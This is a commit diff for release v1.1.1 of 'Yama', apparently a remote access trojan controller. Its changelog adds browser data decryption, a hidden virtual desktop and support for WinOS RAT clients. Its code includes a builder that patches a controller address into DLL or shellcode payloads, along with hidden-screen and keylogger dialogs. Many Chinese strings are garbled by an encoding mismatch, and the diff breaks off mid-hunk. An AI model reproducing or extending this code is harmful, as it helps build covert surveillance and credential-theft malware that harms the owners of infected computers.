Release v1.1.1

This commit is contained in:
yuanyuanxiang
2025-06-21 14:27:21 +08:00
parent 0f7b68496b
commit 0cce6e7a14
21 changed files with 4690 additions and 4631 deletions

View File

@@ -234,6 +234,26 @@
- 新增特性:支持虚拟远程桌面监控; - 新增特性:支持虚拟远程桌面监控;
- 新增命令支持执行代码64位 DLL - 新增命令支持执行代码64位 DLL
**2025.06.21**
发布 v1.1.1:
*自该版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。
如果对这个有意见,请使用早期版本(<v1.0.8)。自行修改和编译程序,也可以解决该问题。*
- 修复:远程桌面算法不生效的问题
- 新增:添加用于操作在线客户端的菜单项
- 插件:新增远程聊天功能
- 插件:新增浏览器数据解密功能
- 插件:新增主机管理功能
- 插件:新增虚拟桌面功能
- 改进:#48 文件管理对话框支持排序
- 新功能:主控支持 WinOS(银狐) 远控客户端RAT
- 改进授权逻辑:支持在线授权主控端
- 新功能:支持随机或多路连接,即多个域名随机上线或并发上线
- 改进:新增弹窗以显示主机的详细信息
- 改进客户端稳定性
--- ---
# 6.其他项目 <a id="6-other-projects"></a> # 6.其他项目 <a id="6-other-projects"></a>

View File

@@ -247,6 +247,29 @@ Release v1.1.0:
* feat: Support virtual remote desktop monitoring * feat: Support virtual remote desktop monitoring
* feature: Add command to execute DLL * feature: Add command to execute DLL
**2025.06.21**
Release v1.1.1:
*Starting from this version, the controller program requires authorization and
will automatically connect to the authorization server.
You may contact the author to request authorization. If you have concerns about this,
please use an earlier version (prior to v1.0.8).
Modifying and compiling the program yourself can also resolve this issue.*
* fix: remote desktop algorithm doesn't take effort
* Add some menus for operating online client
* Plugin: Add remote chat feature
* Plugin: Add browser decryption feature
* Plugin: Add host management feature
* Plugin: Add virtual desktop feature
* Improve: #48 Support sorting in file management dialog
* Feature: Support WinOS RAT client
* Improve authorization logic: Support authorize master online
* feature: Support random or multi connection
* Improvement: Add a popup window to show details
* Improve client stability
--- ---
# 6. Related Projects # 6. Related Projects

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
Releases/v1.1.1/Yama.exe Normal file

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,0 FILEVERSION 1,0,1,1
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.0" VALUE "FileVersion", "1.0.1.1"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -382,7 +382,7 @@ BOOL Run(const char* argv1, int argv2) {
port = argv2; port = argv2;
} }
else { else {
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path); GetPrivateProfileStringA("settings", "master", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path); port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
} }
Mprintf("[server] %s:%d\n", ip, port); Mprintf("[server] %s:%d\n", ip, port);

View File

@@ -1,5 +1,4 @@
#pragma once #pragma once
#define _CRT_SECURE_NO_WARNINGS
#include <vector> #include <vector>
#include <string> #include <string>
#include <iosfwd> #include <iosfwd>

Binary file not shown.

View File

@@ -168,6 +168,15 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg 对话框 // CMy2015RemoteDlg 对话框
std::string GetDbPath() {
static char path[MAX_PATH], *name = "YAMA.db";
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
+ std::string("\\YAMA\\");
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
static std::string dbPath = ret + name;
return dbPath;
}
std::string GetFileName(const char* filepath) { std::string GetFileName(const char* filepath) {
const char* slash1 = strrchr(filepath, '/'); const char* slash1 = strrchr(filepath, '/');
const char* slash2 = strrchr(filepath, '\\'); const char* slash2 = strrchr(filepath, '\\');
@@ -597,7 +606,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
if (modify) if (modify)
SaveToFile(m_ClientMap, DB_FILENAME); SaveToFile(m_ClientMap, GetDbPath());
auto& m = m_ClientMap[ContextObject->ID]; auto& m = m_ClientMap[ContextObject->ID];
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP); int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) { for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
@@ -696,16 +705,16 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding); memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData // CMD_DLLDATA + SHELLCODE + dwFileSize + pData
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize); auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
if (!addr.empty()) { std::string s(skCrypt(FLAG_FINDEN)), ip, port;
std::string s(skCrypt(FLAG_FINDEN)), ip, port; int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length()); if (offset != -1) {
if (offset !=-1){ CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
if (!addr.empty()) {
splitIpPort(addr, ip, port); splitIpPort(addr, ip, port);
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
server->SetServer(ip.c_str(), atoi(port.c_str())); server->SetServer(ip.c_str(), atoi(port.c_str()));
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
} }
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
} }
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5); auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
delete[] szBuffer; delete[] szBuffer;
@@ -725,7 +734,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
} }
// 将“关于...”菜单项添加到系统菜单中。 // 将“关于...”菜单项添加到系统菜单中。
SetWindowText(_T("Yama")); SetWindowText(_T("Yama"));
LoadFromFile(m_ClientMap, DB_FILENAME); LoadFromFile(m_ClientMap, GetDbPath());
// IDM_ABOUTBOX 必须在系统命令范围内。 // IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
@@ -749,7 +758,6 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
std::string port = THIS_CFG.GetStr("settings", "ghost", "6543"); std::string port = THIS_CFG.GetStr("settings", "ghost", "6543");
std::string master = ip.empty() ? "" : ip + ":" + port; std::string master = ip.empty() ? "" : ip + ":" + port;
const Validation* v = GetValidation(); const Validation* v = GetValidation();
m_superPass = v->Reserved;
if (!(strlen(v->Admin) && v->Port > 0)) { if (!(strlen(v->Admin) && v->Port > 0)) {
// IMPORTANT: For authorization only. // IMPORTANT: For authorization only.
PrintableXORCipher cipher; PrintableXORCipher cipher;
@@ -810,7 +818,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
lvColumn.pszText = (char*)str.data(); lvColumn.pszText = (char*)str.data();
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
timeBeginPeriod(1); timeBeginPeriod(1);
#ifdef _DEBUG
SetTimer(TIMER_CHECK, 60 * 1000, NULL); SetTimer(TIMER_CHECK, 60 * 1000, NULL);
#else
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif
CString tip = !ip.empty() && ip != getPublicIP() ? CString tip = !ip.empty() && ip != getPublicIP() ?
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP": CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
"请设置\"公网IP\"或使用反向代理服务器的IP"; "请设置\"公网IP\"或使用反向代理服务器的IP";
@@ -939,7 +951,11 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{ {
if (nIDEvent == TIMER_CHECK) if (nIDEvent == TIMER_CHECK)
{ {
if (!CheckValid()) if (!m_superPass.empty()) {
KillTimer(nIDEvent);
return;
}
if (!CheckValid(-1))
{ {
KillTimer(nIDEvent); KillTimer(nIDEvent);
CInputDialog dlg(this); CInputDialog dlg(this);
@@ -1087,7 +1103,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
// 创建一个新的子菜单 // 创建一个新的子菜单
CMenu newMenu; CMenu newMenu;
if (!newMenu.CreatePopupMenu()) { if (!newMenu.CreatePopupMenu()) {
AfxMessageBox(_T("创建分配主控的子菜单失败!")); MessageBox(_T("创建分享主机的子菜单失败!"), "提示");
return; return;
} }
@@ -1183,7 +1199,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
delete[] buffer; delete[] buffer;
} }
else { else {
AfxMessageBox("读取文件失败: "+ CString(path)); MessageBox("读取文件失败: "+ CString(path), "提示");
} }
} }
@@ -1299,12 +1315,12 @@ std::string joinString(const std::vector<std::string>& tokens, char delimiter) {
} }
bool CMy2015RemoteDlg::CheckValid() { bool CMy2015RemoteDlg::CheckValid(int trail) {
DateVerify verify; DateVerify verify;
#ifdef _DEBUG #ifdef _DEBUG
BOOL isTrail = verify.isTrail(0); BOOL isTrail = verify.isTrail(0);
#else #else
BOOL isTrail = verify.isTrail(-1); BOOL isTrail = verify.isTrail(trail);
#endif #endif
if (!isTrail) { if (!isTrail) {
@@ -1319,7 +1335,7 @@ bool CMy2015RemoteDlg::CheckValid() {
auto settings = "settings", pwdKey = "Password"; auto settings = "settings", pwdKey = "Password";
// 验证口令 // 验证口令
CPasswordDlg dlg; CPasswordDlg dlg(this);
static std::string hardwareID = getHardwareID(); static std::string hardwareID = getHardwareID();
static std::string hashedID = hashSHA256(hardwareID); static std::string hashedID = hashSHA256(hardwareID);
static std::string deviceID = getFixedLengthID(hashedID); static std::string deviceID = getFixedLengthID(hashedID);
@@ -1378,12 +1394,12 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
// 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改! // 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改!
// 注释下面 if 语句可以屏蔽该授权逻辑. // 注释下面 if 语句可以屏蔽该授权逻辑.
// 2025/04/20 // 2025/04/20
if (!CheckValid()) if (!CheckValid(365))
return; return;
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
CBuildDlg Dlg; CBuildDlg Dlg;
Dlg.m_strIP = THIS_CFG.GetStr("settings", "localIp", "").c_str(); Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
int Port = THIS_CFG.GetInt("settings", "ghost"); int Port = THIS_CFG.GetInt("settings", "ghost");
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP; Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str(); Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
@@ -2447,8 +2463,6 @@ void CMy2015RemoteDlg::OnOnlineShare()
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION); MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return; return;
} }
if (IDYES != MessageBox(_T("确定分享选定的被控计算机吗?\n目前只能分享给同类主控程序。"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE }; BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
// 目标主机类型 // 目标主机类型
@@ -2468,6 +2482,9 @@ void CMy2015RemoteDlg::OnToolAuth()
dlg.m_sUserPwd = m_superPass.c_str(); dlg.m_sUserPwd = m_superPass.c_str();
dlg.DoModal(); dlg.DoModal();
if (!dlg.m_sUserPwd.IsEmpty()){
m_superPass = dlg.m_sUserPwd;
}
} }
void CMy2015RemoteDlg::OnMainProxy() void CMy2015RemoteDlg::OnMainProxy()
@@ -2514,7 +2531,7 @@ void CMy2015RemoteDlg::OnOnlineHostnote()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
if (modified) { if (modified) {
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
SaveToFile(m_ClientMap, DB_FILENAME); SaveToFile(m_ClientMap, GetDbPath());
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }
} }
@@ -2754,7 +2771,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
CComPtr<IShellFolder> spDesktop; CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop); HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) { if (FAILED(hr)) {
AfxMessageBox("Explorer 未正确初始化! 请稍后再试。"); MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
SAFE_DELETE_ARRAY(curEXE); SAFE_DELETE_ARRAY(curEXE);
return; return;
} }
@@ -2766,7 +2783,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
ret = fileDlg.DoModal(); ret = fileDlg.DoModal();
} }
catch (...) { catch (...) {
AfxMessageBox("文件对话框未成功打开! 请稍后再试。"); MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
SAFE_DELETE_ARRAY(curEXE); SAFE_DELETE_ARRAY(curEXE);
return; return;
} }

View File

@@ -26,7 +26,6 @@ typedef struct DllInfo {
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
#include <unordered_map> #include <unordered_map>
#include <fstream> #include <fstream>
#define DB_FILENAME "./YAMA.db"
enum { enum {
MAP_NOTE, MAP_NOTE,
@@ -188,7 +187,7 @@ public:
BOOL isClosed; BOOL isClosed;
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[12]; CBitmap m_bmOnline[12];
bool CheckValid(); bool CheckValid(int trail = 14);
afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose(); afx_msg void OnClose();
void Release(); void Release();

View File

@@ -153,7 +153,8 @@ void CBuildDlg::OnBnClickedOk()
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
return; return;
} }
g_ConnectAddress.Encrypt(); if (startup != Startup_InjSC)
g_ConnectAddress.Encrypt();
try try
{ {
// <20><><EFBFBD>±<EFBFBD>ʶ // <20><><EFBFBD>±<EFBFBD>ʶ
@@ -204,8 +205,7 @@ void CBuildDlg::OnBnClickedOk()
} }
File.Write(szBuffer, dwFileSize); File.Write(szBuffer, dwFileSize);
File.Close(); File.Close();
CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD>6543<EFBFBD>˿ڡ<EFBFBD>" : CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION); MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
SAFE_DELETE_ARRAY(szBuffer); SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return; if (index == IndexTestRun_DLL) return;
@@ -286,7 +286,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
CComPtr<IShellFolder> spDesktop; CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop); HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) { if (FAILED(hr)) {
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>"); MessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ");
return; return;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
@@ -297,7 +297,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
ret = fileDlg.DoModal(); ret = fileDlg.DoModal();
} }
catch (...) { catch (...) {
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>"); MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ");
return; return;
} }
if (ret == IDOK) if (ret == IDOK)

View File

@@ -162,6 +162,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
if (pwdHash != GetPwdHash()) { if (pwdHash != GetPwdHash()) {
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str()); Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING); MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
m_sUserPwd.Empty();
return; return;
} }
CString strBeginDate = m_StartTm.Format("%Y%m%d"); CString strBeginDate = m_StartTm.Format("%Y%m%d");

View File

@@ -142,7 +142,7 @@ bool CHideScreenSpyDlg::SaveSnapshot()
LPBITMAPINFO lpbi = m_BitmapInfor_Full; LPBITMAPINFO lpbi = m_BitmapInfor_Full;
CFile file; CFile file;
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
MessageBox(_T("文件保存失败:\n") + dlg.GetPathName()); MessageBox(_T("文件保存失败:\n") + dlg.GetPathName(), "提示");
return false; return false;
} }
// BITMAPINFO大小 // BITMAPINFO大小
@@ -474,7 +474,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
} }
if (m_BitmapInfor_Full->bmiHeader.biBitCount <= 15) { if (m_BitmapInfor_Full->bmiHeader.biBitCount <= 15) {
AfxMessageBox(_T("不支持16位及以下颜色录像!")); MessageBox(_T("不支持16位及以下颜色录像!"), "提示");
return; return;
} }
@@ -486,8 +486,8 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
m_aviFile = dlg.GetPathName(); m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_hWnd, m_aviFile, m_BitmapInfor_Full)) { if (!m_aviStream.Open(m_hWnd, m_aviFile, m_BitmapInfor_Full)) {
MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile, "提示");
m_aviFile = _T(""); m_aviFile = _T("");
MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile);
} else { } else {
::SetTimer(m_hWnd, 132, 250, NULL); ::SetTimer(m_hWnd, 132, 250, NULL);
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED); pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED);

View File

@@ -138,7 +138,7 @@ bool CKeyBoardDlg::SaveRecord()
CFile file; CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>"); MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>"+dlg.GetPathName(), "<EFBFBD><EFBFBD>ʾ");
return false; return false;
} }
// Write the DIB header and the bits // Write the DIB header and the bits

View File

@@ -98,8 +98,8 @@ void CVideoDlg::SaveAvi(void)
m_aviFile = dlg.GetPathName(); m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full)) if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full))
{ {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>:"+m_aviFile, "<EFBFBD><EFBFBD>ʾ");
m_aviFile.Empty(); m_aviFile.Empty();
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>!");
} }
else else
{ {

View File

@@ -58,7 +58,7 @@ BOOL CProxyMapDlg::OnInitDialog()
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nPort = 5543; m_nPort = 5543;
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!"); MessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ");
return FALSE; return FALSE;
} }
TCHAR ip[256] = {}; TCHAR ip[256] = {};

View File

@@ -865,7 +865,7 @@ void CMachineDlg::ShowProcessList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
case 200: { case 200: {
@@ -1025,7 +1025,7 @@ void CMachineDlg::ShowWindowsList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
case 200: { case 200: {
@@ -1188,7 +1188,7 @@ void CMachineDlg::ShowNetStateList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
case 150: { case 150: {
@@ -1245,7 +1245,7 @@ void CMachineDlg::ShowSoftWareList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
case 200: { case 200: {
@@ -1315,7 +1315,7 @@ void CMachineDlg::ShowIEHistoryList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
@@ -1503,7 +1503,7 @@ void CMachineDlg::ShowFavoritesUrlList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
